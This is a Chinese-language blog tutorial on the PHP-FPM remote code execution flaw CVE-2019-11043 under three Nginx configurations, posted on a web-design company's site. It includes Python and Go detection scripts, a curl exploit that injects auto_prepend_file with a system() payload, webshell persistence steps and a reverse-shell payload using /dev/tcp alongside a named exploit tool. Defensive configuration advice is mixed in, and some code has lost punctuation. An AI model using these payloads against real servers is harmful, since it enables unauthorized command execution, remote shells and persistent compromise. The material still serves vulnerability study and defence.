尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
PHP 7.1-7.3 版本 CVE-2019-11043 实战:3 种 Nginx 配置场景下的漏洞检测与利用
PHP-FPM远程代码执行漏洞深度剖析CVE-2019-11043实战指南漏洞背景与影响范围2019年曝光的CVE-2019-11043漏洞影响了PHP 7.1至7.3版本的FastCGI进程管理器(PHP-FPM)当与Nginx组合使用时可能允许攻击者实现远程代码执行。这个漏洞源于PHP-FPM对PATH_INFO参数处理的边界检查缺失结合特定Nginx配置时可导致内存越界写入。受影响环境特征PHP版本7.1.x 7.1.337.2.x 7.2.247.3.x 7.3.11Web服务器Nginx特定配置服务架构PHP-FPM监听9000端口默认配置关键点漏洞利用需要满足三个条件Nginx错误配置、PHP-FPM暴露访问、存在可写目录。企业内网中采用容器化部署的PHP应用风险尤其突出。漏洞原理深度解析PHP-FPM工作机制剖析PHP-FPM作为FastCGI协议的实现负责处理Nginx转发的PHP请求。其核心交互流程如下Nginx → FastCGI协议封装 → PHP-FPM → 执行PHP脚本 → 返回结果典型请求参数转换示例{ GATEWAY_INTERFACE: FastCGI/1.0, REQUEST_METHOD: GET, SCRIPT_FILENAME: /var/www/html/index.php, PATH_INFO: /additional/path, QUERY_STRING: paramvalue }漏洞触发机制漏洞根源在于fpm_main.c中的缓冲区处理缺陷路径解析缺陷当PATH_INFO为空时代码错误地前移指针导致缓冲区下溢内存越界写入攻击者可利用此缺陷覆盖相邻内存区域环境变量注入通过精心构造的请求注入PHP_VALUE等配置参数// 漏洞代码片段示意 if (path_info NULL) { path_info script_path_translated strlen(script_path_translated); *path_info 0; // 此处可能越界写入 }三种典型Nginx配置场景分析场景一标准PHP处理配置location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; }检测方法def check_vulnerability(url): payload /index.php/PHP_VALUE%0Asession.auto_start1 response requests.get(url payload) return response.status_code 200 and session.auto_start in response.text利用限制需要知道服务器上存在的PHP文件绝对路径依赖auto_prepend_file等可修改的PHP配置项场景二带PATH_INFO支持的配置location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; }攻击向量对比配置特征利用难度所需条件无PATH_INFO高需绝对路径有PATH_INFO中需相对路径无文件检查低任意路径场景三强化安全配置location ~ \.php$ { try_files $uri 404; fastcgi_pass unix:/var/run/php-fpm.sock; include fastcgi_params; }防护效果评估try_files指令阻止了不存在的文件请求使用Unix socket减少暴露面仍可能通过合法文件路径触发漏洞漏洞检测自动化实践Python检测脚本实现import requests import sys def detect_fpm_rce(target_url): headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64), Accept: */* } test_paths [ /index.php, /admin/index.php, /wp-login.php ] for path in test_paths: test_url f{target_url.rstrip(/)}{path}/PHP_VALUE%0Asession.auto_start1 try: resp requests.get(test_url, headersheaders, timeout5) if session.auto_start in resp.text: return True, path except Exception as e: continue return False, NoneGo语言高效检测工具package main import ( fmt net/http strings time ) func main() { targets : []string{ http://example.com, http://test.site/admin, } for _, target : range targets { client : http.Client{Timeout: 5 * time.Second} req, _ : http.NewRequest(GET, target/index.php/PHP_VALUE%0Aauto_prepend_filephp://input, nil) resp, err : client.Do(req) if err nil resp.StatusCode 200 { fmt.Printf([] Vulnerable: %s\n, target) } } }漏洞利用进阶技巧多阶段攻击流程信息收集阶段识别PHP文件路径通过错误信息、常见CMS结构确定Nginx配置模式分析响应头、错误页面初始访问阶段curl http://target/index.php/PHP_VALUE%0Aauto_prepend_filephp://input --data ?php system(id);?权限维持阶段写入Webshell到临时目录修改.htaccess文件实现持久化不同CMS的利用差异CMS类型默认路径特殊限制WordPress/wp-admin/admin-ajax.php非ce路径限制NextCloud/remote.php严格的输入过滤Joomla/administrator/index.php会话验证要求防御方案与缓解措施即时防护方案Nginx配置强化location ~ \.php$ { fastcgi_split_path_info ^(.\.php)(/.)$; fastcgi_param PATH_INFO $fastcgi_path_info; try_files $fastcgi_script_name 404; # 其他标准配置... }PHP-FPM安全设置; php-fpm.conf security.limit_extensions .php listen.allowed_clients 127.0.0.1长期加固建议补丁管理升级到PHP 7.1.33/7.2.24/7.3.11架构优化使用Unix socket替代TCP端口部署WAF过滤异常请求模式监控策略检测异常的PATH_INFO参数监控php-fpm进程崩溃频率实战案例从检测到利用某次渗透测试中发现的目标环境特征Nginx 1.16.0PHP 7.2.22存在/var/www/html/admin/index.php分步利用过程确认漏洞存在./phuip-fpizdam http://target/admin/index.php执行系统命令curl http://target/admin/index.php?als-la -H Ebut: PHP_VALUE获取反向shellimport requests payload ?php exec(/bin/bash -c bash -i /dev/tcp/10.0.0.1/4444 01);? requests.post(http://target/index.php, datapayload)遗留问题与深度思考尽管官方补丁已发布多年但在实际环境中仍观察到以下现象配置惯性问题企业升级PHP版本但保留危险配置容器化部署风险使用包含漏洞的基础镜像且无有效监控WAF绕过技术通过编码和参数拆分绕过安全检测某金融企业实际遭遇的攻击时间线Day 1: 攻击者扫描发现漏洞 Day 3: 植入加密货币挖矿程序 Day 5: 横向移动至内网系统 Day 7: 数据泄露事件发生这提醒我们对于此类历史漏洞需要建立持续的配置核查机制而不仅仅是简单的版本升级。
RELATED

相关推荐

Android APP 加固壳识别实战:5大厂商特征与3款检测工具对比

Android APP 加固壳识别实战:5大厂商特征与3款检测工具对比

Android APP加固壳识别实战:5大厂商特征与3款检测工具深度评测 在移动应用安全领域,加固技术如同给APP穿上防弹衣,而逆向工程师则需要具备"透视眼"的能力。本文将聚焦Android加固壳的实战识别技巧,通过解构主流厂商的技…

📅 2026/10/15 23:08:48
PHP 8.2 系统命令执行漏洞实战:从 system() 到反弹 Shell 的 5 步利用链

PHP 8.2 系统命令执行漏洞实战:从 system() 到反弹 Shell 的 5 步利用链

PHP 8.2 系统命令执行漏洞深度攻防:从原理到实战的完整利用链 1. 漏洞原理与核心机制 PHP作为动态语言的特性和灵活的函数调用机制,使其在Web开发中广泛应用的同时也带来了潜在的安全风险。系统命令执行漏洞(RCE)的本质在于 用户…

📅 2026/10/12 18:44:05
SQL盲注防御:从Pikachu靶场看5种常见防护方案与绕过风险

SQL盲注防御:从Pikachu靶场看5种常见防护方案与绕过风险

SQL盲注防御实战:从Pikachu靶场看5种防护方案与风险规避在Web应用安全领域,SQL盲注攻击因其隐蔽性和破坏性一直位居OWASP Top 10威胁前列。与常规SQL注入不同,盲注攻击不会直接暴露数据库错误信息,而是通过布尔逻辑判断或时间延迟…

📅 2026/10/7 21:36:40
MORE NEWS

更多资讯

📰

电工证国家培训值不值得考?证书过期了不知道怎么复审延期怎么办

电工证国家培训值不值得考?证书过期了不知道怎么复审延期怎么办 你是不是也遇到过这种情况:电工证快到期了,但不知道怎么复审延期,眼看着证书失效,工作也跟着受影响?别急,今天就来聊聊【电工证国家培训】到底值不值得考,以及怎么操作才能稳稳保住你的…

📰

武汉高级电工证国家报考避坑指南:实操考试心里没底怕挂科

武汉高级电工证国家报考避坑指南:实操考试心里没底怕挂科 实操考试心里没底怕挂科?武汉高级电工证国家考试流程、报名费、备考要点全在这里,郑州报考避坑指南也能给你参考。…

📰

电工证触电急救考试真实经历:新手避坑全流程

电工证触电急救考试真实经历:新手避坑全流程 你是不是也这样,听说要考电工证,立马网上一搜,全是培训机构的广告,不知道该信哪个?我也经历过,差点被中介坑了大几千。今天我从许昌的一个培训机构学员角度, 真实经历…

📰

宁海人力资源电工证丢了怎么补办 上岗必备全攻略

宁海人力资源电工证丢了怎么补办 上岗必备全攻略 你是不是也遇到过这种情况,手里拿着电工证,突然发现证丢了,或者被雨淋湿、掉进水里,整个人都慌了?特别是像你这样在驻马店从事公路工程的小伙伴,电工证可是 上岗必备…

📰

电工证补贴申请流程全解析:电子证书怎么申请,怎么用,不怕考不过白交培训费

电工证补贴申请流程全解析:电子证书怎么申请,怎么用,不怕考不过白交培训费 怕考不过白交培训费?别急,电工证补贴申请流程其实没那么复杂,尤其是现在有电子证书在手,流程透明、资料齐全,补贴申请也比你想象中顺利得多。下面从报名到申请补贴,咱们一步…

📰

辽宁葫芦岛低压电工证通过率揭秘:报名避坑全攻略

辽宁葫芦岛低压电工证通过率揭秘:报名避坑全攻略 你是不是也遇到过这种情况:想考个低压电工证,结果一搜信息,全是五花八门的培训机构,有的说包过,有的说要加钱,还有的说“没通过就退钱”——但你心里清楚,这种话听着顺耳,实际全是套路?今天就来聊聊…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬